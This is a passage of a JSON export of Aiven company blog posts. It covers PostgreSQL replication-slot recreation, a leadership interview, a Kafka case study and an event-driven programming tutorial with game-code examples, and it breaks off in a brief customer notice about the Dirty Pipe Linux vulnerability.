is done manually, the subscribers will in practice lose whatever is written into the database while the process is ongoing. You can mitigate this with a complete resync of the database, but that causes downtime for the users.\n\n## No more gaps or full resync\nAiven for PostgreSQL has now implemented automatic recreation of replication slots for PG clusters. Whenever the primary node of a multi-node cluster goes down, whether in an unplanned failover or a controlled switchover, Aiven automagically recreates the replication slots from the old primary server in the new primary server. For single-node clusters, the replication slots are recreated during a controlled switchover.\n\nThis is achieved by creating replication slots from the primary in the standby or a new node which will be promoted as a primary, and synchronizing their positions continually. When a failover or switchover occurs, the standby node already has the same replication slots, and the positions are up to date (up to the accuracy of 5 seconds).\n\nThe slots are recreated on a node before it gets promoted as primary and opens connections to replicas or other systems.\n\n## Applying automatic recreation of replication slots\nYour Aiven for PostgreSQL database will benefit from this new feature the next time the servers are recycled during maintenance (we don’t touch nodes that are already running, to avoid any issues in our customers’ environments). So you’ll lose your replication slots in the next maintenance update for the last time, and then the automatic replication will start to work.\n\nAnd of course, new services have this new feature from the get-go!\n\n## Wrapping up\nManaging your Aiven for PostgreSQL cluster just got easier. When a new primary takes over after a switchover or failover, it already has the same replication slots as the old one, and other systems can seamlessly resume reading from it.\n\nFor more information about this new feature, see our documentation: [Upgrade and failover procedures](https://aiven.io/docs/products/postgresql/concepts/upgrade-failover). \n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"efe74ef85536","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"f30c5b72112f","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d1dec75ee68d50e647bb7e5e069c2d42576d9be4-1567x844-png","_type":"reference"}},"publishedAt":"2023-01-13T11:53:08.439Z","related":[{"_key":"4da48f493117","_ref":"6q2Ct4Z3GJj2FctvVs2MKX","_type":"reference"},{"_key":"4cf9e2fde0fa","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"10242c7b7081","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven for PostgreSQL®: Automatic Recreation of Replication Slots"},"slug":{"_type":"slug","current":"/blog/aiven-for-pg-recreates-logical-replication-slots"},"subtitle":"No more worries about losing your logical replication slots during maintenance or failover - Aiven now recreates them for you! Find out more here.","title":"Aiven for PostgreSQL® now recreates logical replication slots automatically"} {"__i18n_lang":"en","_createdAt":"2024-03-22T08:36:42Z","_id":"f9b3734c-8b0c-432e-b6f9-382e0311ae0d","_rev":"sEwq5NBiPauorOxrhfBhQP","_type":"post","_updatedAt":"2024-11-18T13:01:05Z","authors":[{"_key":"4411719656a8","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"We’ve all heard the old saying that travel broadens the mind. But Micah Lasseter, Director of Leadership and Management Development at Delivery Hero can confirm that it is absolutely true. He’s also clear that in today’s businesses, which are dependent on data and developers, having a broad and inclusive mindset is a real success factor. \n\nLasseter has more than 15 years of experience working with global organizations, nonprofits and universities on leadership coaching, strategic learning and even curriculum design. He has an enviable track record of success when it comes to linking a business’s goals with the learning needs of its teams — as the international success of Delivery Hero, one of our customers, suggests.\n\nBefore moving to his current post in Berlin, Lasseter worked in places like Amsterdam and New York, and he has seen many different work cultures at close range. “International experiences have definitely influenced my own approach to leadership,” he says. \n\n![Micah Lasseter, Delivery Hero](https://cdn.sanity.io/images/sczeoy4w/production/15fa9e766b8a2740e38fee6cf9f125629418f1b1-1200x628.png)\n\n“It’s taught me that wherever you’re going, and for whatever reason, there will be a learning aspect to it. And it has made it really clear to me that listening to, encouraging and engaging with people who have different perspectives is essential to good leadership.”\n\n## Diversity is more than a mission statement\n\nLasseter is acutely conscious that the technology industry often lacks those different perspectives and needs greater diversity within. It’s a view we share at Aiven. As an industry, we could be missing out on different experiences, innovative thinking and creativity, and creating new products and services that don’t reach their full potential as a result. \n\nOften, when Lasseter speaks to leaders who are looking to recruit more new people, they tell him that they would love to make the team more diverse, but all the available senior talent essentially looks just like them.\n\n“I want to push back against that idea,” he says. “As leaders, it’s part of our role to find and build up that talent. It’s not easy, obviously, but it’s something that we need to be proactive about and create a strategy for. For example, if you’re hiring to achieve a medium-term goal, then keep roles open a bit longer in order to find that unique but unrepresented talent.”\n\nThere are other practical ways to make sure that diversity is more than just words in a mission statement. “It’s a global issue. There are examples of companies that are really nurturing inclusive leadership that we can all learn from,” he says and points out that leaders should also have the confidence to ask for feedback on their performance in this area. “Getting that awareness can be really helpful. It’s a really important learning journey.”\n\n :youtube[Cultivating a culture of learning]{#Y4Lui7pMH4M} _Fireside Chat between our CEO, Oskari Saarenmaa and Micah Lasseter, Director of Leadership and Management Development, Delivery Hero_\n\n## Open, accessible and inclusive technology platforms\n\nIn addition to his own experiences, Lasseter’s approach to learning and to leadership is also informed by academic research. He is due to complete a doctorate in adult learning, and his evidence shows that the best forms of training empower people to be at the driver's seat of their own learning.\n\n“I'm a big believer in the 70/20/10 model,” he says. “We know that formalized education accounts for about 10% of how we learn. Coaches, mentors and other relationships account for about 20%. And 70% is around what we do every day, trying out what we learned from these other sources and putting it into practice.”\n\n![Micah Lasseter, Delivery Hero](https://cdn.sanity.io/images/sczeoy4w/production/46969c0ad031b459b2ae43bb24746c748629a56b-1200x628.png)\n\nThis is where technology has a clear role to play. It helps when companies have in place a technology platform that is itself open, accessible and inclusive. For example, one of the advantages of implementing open source software and making it available for everyone to use and collaborate on is that it helps create the learning environment that Lasseter advocates. It’s also a way of opening up access to new technologies so more people can get involved in the development of new — and inclusive — commercial products. \n\n## Inclusive solutions to big challenges\n\nIt could also help to address some of the bigger challenges that we face as a society. \n\nTo give one example, Lasseter is also investigating the use of AI in areas like gamification and simulations of education programs that can bring learning to life. “Going back to the 10/20/70 concept, I think there could be a really interesting role for AI in the hands-on 70% of learning programs. It’s amazing what we can learn about our skills and strengths when simulating a climb up Mount Everest — and it can be a lot more fun and memorable way of learning,” he says. \n\nBut good AI is dependent on good input data. That too has to be representative of a broad user base, and having a broad developer base is one way of achieving that. \n\nAnd then there’s the other big challenge that leaders currently face — improving sustainability and implementing ESG policies that make a real difference. Again for companies like Delivery Hero, it’s getting the right infrastructure and clear leadership. \n\nThe cloud certainly contributes to a more efficient infrastructure than on-premises data centers, for example, and most hyperscalers are working on making them even more efficient. That helps ensure that daily individual actions make a difference – within an organizational framework and expectations set by leaders who understand all aspects of their business’s impact.\n\nThere is a common theme in all these areas. Greater inclusivity, more sustainability and use of open source technologies all present opportunities to connect within and across industries, to find what is working and then build it into the corporate strategy. As Lasseter says: “There has never been a more important time to learn about good leadership and to put it into practice.” \n\nAnd at Aiven, we couldn’t agree more.","categories":[{"_key":"83e8da584608","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"1171a9cde208","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"5d1f6116e71f","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Leader Insights, Agents of Change, Customer Story, Leadership, Learning, Diversity","asset":{"_ref":"image-b2e0bf6a4d553c32fd5361b70e3b3b63dd6a799b-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-22T08:27:02.740Z","related":[{"_key":"3db37bc27908","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Delivery Hero: Leadership, Learning \u0026 Diversity | Aiven"},"slug":{"_type":"slug","current":"/blog/micah-lasseter-the-link-between-leadership-learning-and-diversity"},"subtitle":"Discover how Micah Lasseter, Director of Leadership and Management Development at Delivery Hero is creating a link between leadership, learning and diversity.","title":"Micah Lasseter, Delivery Hero: The Link Between Leadership, Learning and Diversity "} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"prVmdI5mrod8V3GrQhEc5","_rev":"uLxsw1wzFtwkvaCA8jv3nS","_type":"post","_updatedAt":"2023-09-18T10:52:56Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"As an online and physical gambling operator in the EU, Paf's data needs are complex. For example, they need to be able to connect their seafaring slot machines, casino games, and online portals with financial and authentication data.\n\nTo handle the complexity, [Paf](https://www.paf.com/) chose Apache Kafka to be used as their loosely-coupled, asynchronous and schema-agnostic messaging solution. With the solution in hand, their next question became, \"Who handles it?\"\n\nSpecifically, _should they build in-house expertise, hire, or look for a managed provider_...to find out more about the circumstances underlying Paf's use case and why they chose [Aiven for Apache Kafka](/kafka), download the case study below!\n\n::banner{ctaText=\"Read case study\" ctaLink=\"/case-studies/aiven-for-apache-kafka-helps-paf\" title=\"Find out more about the circumstances underlying Paf's use case\"}\n\nTo see more case study summaries from other customers such as Priceline and OVO Energy, visit the [Aiven case studies page](/case-studies) page. And don't forget to subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405-png","_type":"reference"}},"publishedAt":"2019-04-02T00:00:00.000Z","seo":{"metaDescription":"Find out why Paf trusts Aiven Kafka to help make sure that their data architecture is open and easily interfaceable.","metaImage":{"alt":"","asset":{"_ref":"image-bd5bbdd1fa03ac717a98c5c1c41f5c1454978224-752x405-png","_type":"reference"}},"metaTitle":"Paf chooses Aiven Kafka to reduce complexity [Case Study]"},"slug":{"_type":"slug","current":"/blog/paf-chooses-aiven-kafka-to-reduce-complexity"},"subtitle":"Find out why Paf trusts Aiven Kafka to help make sure that their data architecture is open and easily interfaceable.","title":"Paf chooses Aiven Kafka to reduce complexity [Case Study]"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"rFKUbQMEQRoLWqF5iZlao","_rev":"kaQ4ZWos4gq6sBfd80EXw3","_type":"post","_updatedAt":"2023-09-27T12:54:28Z","authors":[{"_key":"2uf2XkVvvlliqCRlM44ZIf","_ref":"2uf2XkVvvlliqCRlM44ZIf","_type":"reference"}],"body":"Event-driven programming is a great approach for building complex systems. It embodies the divide-and-conquer principle while allowing you to continue using other approaches like synchronous calls.\n\nWhen discussing event-based systems, several different terms often refer to the same concept. For simplicity, we’ll primarily use the terms listed below in bold:\n\n- __Event__, message, and notification\n- __Producer__, publisher, sender, and event source\n- __Consumer__, receiver, subscriber, handler, and event sink\n- __Message queue__ and event queue\n\n## What is event-driven programming? \nEvent-driven programming, or event-oriented programming, is a paradigm where entities (objects, services, and so on) communicate indirectly by sending messages to one another through an intermediary. The messages are typically stored in a queue before being handled by the consumers.\n\nUnlike in using direct calls, event-driven programming completely decouples the producer from the consumer, leading to some noteworthy benefits. For example, multiple producers and multiple consumers can all collaborate to process incoming requests. Retrying failed operations and maintaining an event history are also simplified. Event-driven programming also makes it easier to scale large systems, adding capacity simply by adding consumers.\n\nLet's look at the actors of event-based systems: events, producers, consumers, and message queues.\n\n\n### What are events?\nEvents are pieces of data that are sent by producers and eventually consumed by consumers.\nFor example, a mouse down event typically contains the following information:\n\n- Mouse pointer coordinates\n- Which mouse buttons are pressed \n\nEvents are usually structured but can sometimes just be blobs of data (such as a chunk of JSON) that consumers should know how to parse and handle.\n### What are producers and consumers?\nProducers are entities that generate events and send them to a message queue. Consumers either subscribe to receive new events or poll periodically from the queue. Key to the event-driven paradigm is this main point: __Producers and consumers are blissfully unaware of one another and interact through the message queue only.__\n\n::banner[Learn the basics of Apache Kafka Producers and Consumers through building an interactive notebook in Python]{ctaText=\"Try it out\" ctaLink=\"https://aiven.io/blog/teach-yourself-apache-kafka-and-python-with-a-jupyter-notebook\" title=\"Learn by building\" background=\"\" theme=\"dark\"}\n\n### What are message queues?\n__Message queues are repositories of messages (events).__ The messages may be stored in memory and/or durable storage. Message queues are typically partitioned into topics. Producers and consumers send and receive messages for particular topics separately.\n\n__A message broker is responsible for making sure messages that are sent to the queue are delivered to all subscribed consumers.__ Some message brokers in popular use today include RabbitMQ, Redis, and Apache Kafka.\n\nConsumers use pull or push mode to consume messages. In pull mode, the message queue keeps all the messages for all the consumers. When a message has been received by all consumers, that message may be removed from the queue (depending on retention configuration). Some message queues allow consumers to pull historical messages.\n\n__In push mode, the message queue pushes any new message to all current subscribers.__\n\n## What makes event-driven programming special?\nLet's explore some of the properties of the event-driven programming paradigm and see what makes it cool—and what makes it tricky. Our focus will be on push-based systems.\n\n### Tightly-coupled versus loosely-coupled workflows\nTraditional call-based workflows are tightly coupled. If object A has some information X that is relevant to object B, then object A needs to satisfy the following requirements to deliver this information successfully to B:\n\n1. It needs to know that B is interested in X\n2. It needs a reference to B\n3. It needs to know about B's interface (for example, a setX() method)\n4. It needs to call B to deliver X\n5. If something goes wrong, then it needs to know what to do (such as retry or raise error)\n\nThat’s a lot of requirements.\n\nTo further complicate matters, consider a system in which B is not the only one that is interested in X. Maybe C and D are also interested in X, and they have different interfaces for receiving X. Now, A needs to get references to C and D, along with their respective interfaces. A also needs to consider what to do in case of partial failure (for example, if B and C received X successfully, but D failed).\n\nNow, let's look at the requirements on object A for a loosely-coupled, event-based system:\n\n1. A sends an event X to the event queue\n\nThat’s it. Now B, C, and D can all subscribe to receive event X—if they are interested. The event framework managing the queue can have policies about error handling and retries, and these can often be specified by consumers.\n\nThe downside of loosely-coupled workflows, however, is that these interested parties are difficult to see in the code or in a call graph and workflow.\n\n### Request-response versus publish-subscribe\nThe request-response approach to communication is typical of traditional web development. For example, a user navigates to a new URL, the browser requests a web page, and the server responds with information. This is a typical pattern of remote procedure call (RPC) systems.\n\nThe publish-subscribe approach (PubSub for short) tackles a different use case: __fire and forget__. The publisher simply publishes an event to the queue without needing any confirmation or response.\n\nBoth approaches have their place. While it is possible to implement asynchronous request-response using events—as we will see later—doing so is cumbersome.\n\n### Synchronous versus asynchronous calls\nSynchronous calls are your garden variety function calls. You call a function with some arguments, and you get the result on the same thread. The thread will be blocked until the function call returns.\n\nAsynchronous calls return immediately and don't wait for the computation to complete. The result will arrive later on a separate thread. Event-based systems that rely on PubSub often use asynchronous calls to receive the events. The consumer subscribes to specific topics or events, and the events are handled in a separate thread.\n\n### Retries and replays\nWhen you make a call to another object or service, there is always the possibility of an error. In general, the caller can take any of several actions:\n\n1. Fail and return an error\n2. Log the failure but keep operating\n3. Fallback to some alternative\n4. Retry\n\nOften, the event framework can be configured to retry sending the events to consumers, making the retry action easy to implement.\n\nHowever, if a consumer receives an event but fails while processing it, there is no direct way to communicate that failure to the producer. Within event-driven architectures and programming, this is a non-issue because the producer is unaware of the consumers and is not responsible for handling their failures.\n\nThe event framework managing the queue can retry several times in case the failure is intermittent. If the failure persists, the event can be stored for later processing and proper error messages can be logged.\n\n### The almighty queue depth\nIn event-based programming, determining the state and performance of the system is very straightforward. If the number of events in your queue—also known as queue depth—grows, then you need more consumers. If your consumers are sitting idle, waiting to process events, then your producers are not sending events.\n\n__You can find issues by checking which queues grow uncontrollably and which queues starve.__ Sometimes, it is more useful to track the age of messages in the queue rather than the number of messages.\n\n### Event delivery options\nIn PubSub systems, there are primarily three different models for delivery: exactly once, at most once, and at least once.\n\n#### Exactly once\nIn this delivery model, __every consumer is guaranteed to receive exactly one copy of every event__. Actually, this model is very difficult to accomplish. When a consumer fails or disconnects from the event queue, it’s often unknown if the consumer received the event (but failed to acknowledge) or if it didn't even receive the event at all. \n\n#### At most once\nHere, __some consumers may not get all events, but they will never get duplicates__. This model is the easiest to implement. Events are just shotgunned out one time to all of the consumers. Either the consumers get the events or they don’t. No retries.\n\n#### At least once\nIn this most common model, __every consumer is guaranteed to receive every event, but some consumers might also get duplicates__. The event framework will retry several times until it gets a confirmation from the consumer. Since duplicate events are possible, the consumer should be idempotent, meaning it can safely process duplicate events.\n\nIn pull-based systems, the consumers are responsible for pulling messages from the queue. If the queue retains historical messages, then consumers can pull messages as many times as they want.\n\n## How does event-based programming work?\nLet's examine an event queue with multiple producers and multiple consumers.\n\n![Intro Event-Driven Programming3](//cdn.sanity.io/images/sczeoy4w/production/71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500.jpg \"Multiple producers, multiple consumer\")\n### Generating events\nThe producers generate events and send them to a specific topic. In the diagram, you can see that we have two producers. Producer 1 sends Event A to Topic 1. Producer 2 sends Events B and C to Topics 2 and 3.\n### Subscribing to events\nEach topic may have a group of subscribers (consumers). This is relevant mostly for PubSub systems. Consumers 1 and 2 subscribe to Topic 1, which creates Group 1 and Group 2 to represent the subscriber list. Consumer 2 also subscribes to Topic 2, which creates Group 3.\n\nWhen Producer 1 sends Event A to Topic 1, Consumers 1 and 2 will receive it through their subscriber groups. When Producer 2 sends Event B to topic 2, Consumer 2 will receive it through Subscriber Group 3.\n\nWhen Producer 2 sends Event C, no consumer will receive it since no consumer has subscribed to it. The event may be discarded, or it may be stored in Topic 3, waiting for consumers to subscribe. \n### Configurable retention\nSome queues immediately dispose of events once they are delivered to all subscribers. Other queues might keep events around. For those queues, it is useful to configure how long to keep events. This can be done based on event age, the number of events in the queue, or the total size of queued events. \n## Event-based patterns\nEvent-based programming opens the door to several interesting and useful patterns.\n### Single producer / single consumer\nThe simplest configuration for events is a single producer and single consumer. In this pattern, the producer and consumer are isolated from one another, free to operate independently.\n### Single producer / multiple consumers\n__A single producer with multiple consumers is useful when *handling* an event takes longer than *generating* an event.__ In this case, multiple consumers can share the load to handle the events together. A load balancer is a good example of this pattern.\n![Intro Event-Driven Programming2](//cdn.sanity.io/images/sczeoy4w/production/85d0e081e657861c94385f0b917c6463af216ac1-2500x2500.jpg \"Single producer, multiple consumers\")\n\n### The dead letter queue (DLQ)\nWhen an event fails to be processed even after several retries, it is common to remove it from the main queue and post it to a dedicated DLQ. Engineers can analyze these events later to determine the root cause.\n\n### Time to live (TTL)\nSystems that generate many events may want to keep a history, but not forever. Generally speaking, the value of data degrades with time. For example, when debugging a production issue, you may want to see the stream of events since the last deployment, but probably not events from five years ago. __A common pattern is to assign a TTL to each stream of events or each topic, and those events will be discarded when their TTL expires.__\n\n### Asynchronous request-response with events\nEvent handlers typically don't return results. In some cases, it is useful to perform a query or an action asynchronously and then get the result later. Polling is common in these situations, but can introduce a lot of overhead.\n\nAn event-based alternative is to establish request topics and response topics. The caller sends a request to the request topic and subscribes to the response topic. When the response is ready, the handler of the original request sends the response to the response topic, and the original caller can process the response.\n\n![Intro Event-Driven Programming](//cdn.sanity.io/images/sczeoy4w/production/6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042.jpg \"Asynchronous request-response with events\")\n\n### Event splitting\nEvent splitting is useful when the same event needs to be handled by multiple entities. This is different from the single producer/multiple consumers pattern, in which one consumer handles each event. For example, consider an event that needs to be processed for storage as well as aggregated for later analytics. One consumer can store the event in the proper data store and another consumer can do the aggregation. This __division of responsibilities is the hallmark of loosely-coupled systems__. The storage code is unaware of the aggregation code even though both operate on the same data.\n## Examples\nThe following examples of event-driven programming are from a blocks puzzle game I developed with my sons. You can find the source code for the project at [https://github.com/the-gigi/blocktser](https://github.com/the-gigi/blocktser \"Blocktser project page | GitHub\").\n\nBlocktser is a simple game that runs in a browser. It is implemented in TypeScript, the Canvas API, and the [phaser.io](https://phaser.io/) framework. In Blocktser, you drag shapes from the staging area at the bottom and move them around the screen to eventually drop them in the main area. You get points when you complete rows or columns. If you can't place a shape, the game is over.\n\nHere is a screenshot:\n\n![gigi-4](//cdn.sanity.io/images/sczeoy4w/production/22291cbb039c4a932b30cc952331699ac1095271-356x589.png \"The Blocktser game\")\n\n### Subscribing to GameObject events\nThe shapes are Phaser Game objects. Conveniently, Phaser already translates raw Canvas API mouse events to higher-level events.\n\nTo receive and handle events, we need to take several actions. First, we make our shapes draggable by setting the container object to be interactive (setting the mouse cursor) and draggable.\n\n```\nthis._container.setInteractive({ cursor: 'pointer' })\nscene.input.setDraggable(this._container);\n```\n\nThen, we call the scene input object's on method to subscribe to the drag, dragstart, and dragend events. Triggering (producing) the relevant event calls the provided event handling function (the consumer).\n\n```\nscene.input.on('drag', function(pointer, gameObject, dragX, dragY) {\n self.onDragging(self, pointer, gameObject, dragX, dragY)\n})\n\nscene.input.on('dragstart', function (pointer, gameObject) {\n self.onDragStart(self, pointer, gameObject)\n})\n\nscene.input.on('dragend', function (pointer, gameObject) {\n self.onDragEnd(self, pointer, gameObject)\n})\n```\n\n## Handling events\nThe subscription event handlers delegate the actual logic to the onDragging, onDragStart, and onDragEnd methods of the Shape class.\n\nThe Shape's onStartDrag method ignores drag start events on other objects. Then, it performs some logic to scale the shape and update it. (Dragging the shape changes its size.) Finally, it calls onDragStart on a list of dragHandlers. This accomplishes the event splitting pattern we discussed earlier.\n\n```\nonDragStart(shape, pointer, gameObject) {\n if (shape._container !== gameObject) {\n return\n }\n\n shape._unit *= shape.dragScale\n shape.updateShape(true)\n shape.dragHandlers.forEach((h) =\u003e h.onDragStart(shape))\n}\n```\n\nThe Shape's onDragging method is called whenever the mouse is moving during a drag operation. The event handler here updates the shape's position according to the delta since the last position. Then, it invokes the onDragging method of each of the dragHandlers members.\n\n```\nonDragging(shape, pointer, gameObject, dragX, dragY) {\n if (shape._container !== gameObject) {\n return\n }\n const dx = dragX - gameObject.x\n const dy = dragY - gameObject.y\n shape._container.x += dx\n shape._container.y += dy\n shape.dragHandlers.forEach((h) =\u003e h.onDragging(shape))\n}\n```\n\nLast but not least is the Shape's onDragEnd method. Here, we see the familiar structure of ignoring the event if it's coming from a different object, then resizing the shape and invoking the drag handlers.\n\n```\nif (shape._container !== gameObject) {\n return\n}\n\nshape._unit /= shape.dragScale\nshape.updateShape(false)\nshape.dragHandlers.forEach((h) =\u003e h.onDragEnd(shape))\n```\n\n### Transforming events to high-level application events\nThe event handlers we've seen in the previous section were defined by the Phaser framework, and they were in terms of Phaser game objects and their containers. In Blocktser, there is another layer of abstraction that operates in terms of Blocktser shapes. The interfaces.ts file defines the following interfaces:\n\n```\nexport default interface ShapeDragHandler {\n onDragStart: (shape: Shape) =\u003e void\n onDragEnd: (shape: Shape) =\u003e void\n onDragging: (shape: Shape) =\u003e void\n}\n\nexport default interface MainEventHandler {\n onDrop: (shape: Shape, ok: boolean) =\u003e void\n}\n```\n\nLet's focus on the onDrop event. It is triggered when a shape ends its dragging over the main area. First, the onDragEnd method is called:\n\n```\nonDragEnd(shape: Shape) {\n this.settleShape(shape)\n this.destroyPhantom()\n}\n```\n\nThe onDragEnd method calls the settleShape method, which determines whether or not the shape was dropped properly. Then, it calls the onDrop method with either `true` or `false`.\n\n```\nsettleShape(shape: Shape) {\n // bail out if not on grid\n if (!this.isOnGrid(shape)) {\n this.shapeEventHandler.onDrop(shape, false)\n return\n }\n\n // bail out if shape intersects with any occupied cell\n const [row, col] = this.findGridLocation(shape)\n if (!this.canShapeSettle(shape, row, col)) {\n this.shapeEventHandler.onDrop(shape, false)\n return\n }\n\n // Populate cells with the shape's image\n ...\n\n this.shapeEventHandler.onDrop(shape, true)\n}\n```\n\nThe [onDrop](https://github.com/the-gigi/blocktser/blob/main/src/scenes/Blocktser.ts#L162) handler operates at a higher abstraction level of the scene, which includes both the main area and the staging area of the game. It understands the meaning of a shape being dropped. If the shape was dropped correctly in the main area, then it takes several actions:\n\n- play sounds\n- update the staging area if needed\n- clear completed rows and/or columns\n- update the score\n- check if the game is over\n\nIf the shape was dropped improperly, then it simply returns to the staging area.\n\nLet's follow the chain of events from the OS level all the way to Blocktser's shape drop event:\n\n- The OS generates a stream of mouse down, mouse up, and mouse move events.\n- The browser intercepts these events and reflects them to Canvas as mouse events.\n- The Phaser framework handles these events and translates them to GameObject drag events.\n- Blocktser handles these events, using the event splitting pattern to send through its own event interfaces to multiple consumers.\n- Finally, Blocktser translates the dragEnd event to a higher-level shape drop event.\n\n## Conclusion\nEvent-based programming is an incredibly useful paradigm, with use cases ranging from UI in a single-process system to communication between services in large-scale distributed systems. The loosely coupled nature of event-based programming provides many benefits, though it may require a shift in how you think about inter-object communication.\n\nWith the trend of software development moving away from monolith applications toward distributed systems and decoupled microservices, an event-driven paradigm for architectures and programming is certainly here to stay. The event queue solution you choose to use—whether that be Kafka or any other message broker—is one that requires wise consideration. At the very least, it’s time to consider whether your fleet of microservices will get a boost by shifting toward the event driven development.\n\n::banner[Try Aiven's fully managed and hosted Apache Kafka® now with a free 30-day trial and $300 credits to play with.]{ctaText=\"Get a free trial\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for a data streaming solution?\" background=\"\" theme=\"dark\"}\n\n__About Gigi Sayfan__\n\nGigi Sayfan is the DevOps team manager at Helix — a bioinformatics and genomics start-up and author of several books and hundreds of technical articles.\n\nGigi has been developing software professionally for more than 20 years in domains as diverse as instant messaging, morphing, multimedia applications for game consoles, brain-inspired machine learning, custom browser development, web services for 3D distributed game platforms, IoT sensors and virtual reality.\n\n[Find out more on Amazon.com](https://www.amazon.com/Gigi-Sayfan/e/B079GQHGKC%3Fref=dbs_a_mng_rwt_scns_share \"Gigi Sayfan on Amazon.com\")!\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630-jpg","_type":"reference"}},"publishedAt":"2022-11-08T09:12:05.766Z","related":[{"_key":"c5d068d67eaa","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"372e212ee094","_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Let's explore event-driven programming: its benefits and shortcomings, how it works, and what useful patterns it brings to the table. With fun examples!","metaImage":{"alt":"","asset":{"_ref":"image-eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630-jpg","_type":"reference"}},"metaTitle":"Introduction to event-based programming"},"slug":{"_type":"slug","current":"/blog/introduction-to-event-based-programming"},"subtitle":"In this article, guest blogger Gigi Sayfan explores event-driven programming: its benefits and shortcomings, how it works, and what useful patterns it brings to the table. We’ll also dive into some fun examples.","title":"Introduction to event-based programming"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"sK8QxQ0nMo1FwKUupORyt","_rev":"cEPH2uRN58AU2lp9QO8Jp3","_type":"post","_updatedAt":"2022-09-08T16:29:55Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"On 7th March 2022, we became aware of [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847 \"CVE-2022-0847 | CVE website\"), also known as \"Dirty Pipe\". This vulnerability allows an unprivileged local user to write to pages in the page cache backed by read-only files. They could use this to increase their access to the system further by enhancing their privileges.\n\n## Current Status\nAn optional maintenance update will be made available to all customers which will patch them against this issue and can be implemented using the normal maintenance application functions already in use. Over the next 30 days, the optional update will be made mandatory and rolled out to all customers.\n\n## Impact on Aiven Services\nThe Aiven platform does not allow direct interaction with the underlying operating system. Additionally, Aiven’s architecture prevents cross-tenant impact from vulnerabilities such as this.\n\nOur product and infrastructure security teams have reviewed our existing mitigations in context with this particular vulnerability. Furthermore, internal monitoring has been extended to help identify any exploitation attempts.\n\n## Further Information\nFor more information about the vulnerability, see [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847 \"CVE-2022-0847 | CVE 